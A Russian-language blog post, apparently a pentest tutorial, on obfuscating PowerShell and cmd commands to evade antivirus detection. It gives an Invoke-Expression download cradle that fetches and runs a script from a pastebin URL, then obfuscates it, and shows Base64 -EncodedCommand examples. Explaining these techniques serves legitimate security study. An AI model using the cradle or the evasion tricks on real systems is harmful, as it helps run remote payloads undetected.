Как то я писал про кодирование команд в коде Powershell с параметром –EncodedCommand. Оказалось что тема обфускации в последнее время набирает популярности. Особенно в связи с тем что вирусня использует Powershell по полной для транспорта своей полезной нагрузки или своего запуска.
А благодаря обфускации скрипт PowerShell можно спрятать от многих антивирусов.
Взгляните на эту строку. Что вы здесь видите?
;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "
Думаю - ничего. А ведь это всего лишь обфусцированная команда netstat /ano. Сегодня мы попробуем разобраться, как привести команды на PowerShell к такому виду.
PowerShell в пентесте
Начнем с самого PowerShell. Почему в пентесте он используется так часто? Ну, как минимум потому, что PowerShell представляет собой командную оболочку и просто для понимания скриптовый язык, который используется в последних версиях операционной системы Windows. К тому же большая часть команд выполняется в памяти, что может помочь избежать детекта анвирусным ПО. Если на машине включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют отличные инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других файлов (.bat, .doc, .xls, .ppt, .hta, .exe, .dll) и скриптов. С помощью PowerShell можно загружать код из интернета или файла на ПК и выполнять его. Для этого используется специальный командлет Invoke-Expression. Вот примеры использования.
Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebn.com/raw/MKM5QLaP')
Можно также использовать кодировку Base64. Для начала необходимо закодировать команды в Base64.
[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))
Перед выполнением надо будет декодировать их с помощью -EncodeCommand.
powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==
Процесс обфускации PowerShell довольно простой, так как это скриптовый язык и работает со строками, а не с исполняемым двоичным кодом. Итак, рассмотрим некоторые методы обфускации PowerShell. Будем рассматривать все на примере данной команды:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Для начала постораемся убрать System из строки System.Net.WebClient. На выполнение самой команды это никак не повлияет, так как нет никакой необходимости писать System в функциях .NET.
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')